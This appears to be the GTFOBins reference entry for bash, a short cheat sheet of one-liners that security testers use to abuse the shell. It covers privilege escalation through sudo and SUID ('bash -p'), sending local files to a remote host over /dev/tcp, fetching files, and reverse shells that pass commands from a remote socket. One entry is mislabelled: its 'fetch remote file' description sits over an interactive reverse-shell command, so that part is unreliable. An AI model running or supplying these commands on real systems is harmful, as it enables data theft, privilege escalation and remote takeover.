GTFOBins.github.io/_gtfobins/bash.md
2018-05-21 20:14:41 +01:00

1.2 KiB

functions
exec-interactive sudo-enabled suid-enabled upload download reverse-shell
code
bash
code
sudo bash
code
./bash -p
description code
Send local file in the body of an HTTP POST request. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_send echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
description code
Send local file using a TCP connection. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_send cat $LFILE > /dev/tcp/$RHOST/$RPORT
description code
Fetch a remote file via HTTP GET request. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_get (echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
description code
Fetch remote file using a TCP connection. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_get bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1 > $LFILE
code
RHOST=127.0.0.1 RPORT=8000 exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT;while read line 0<&5; do $line 2>&5 >&5; done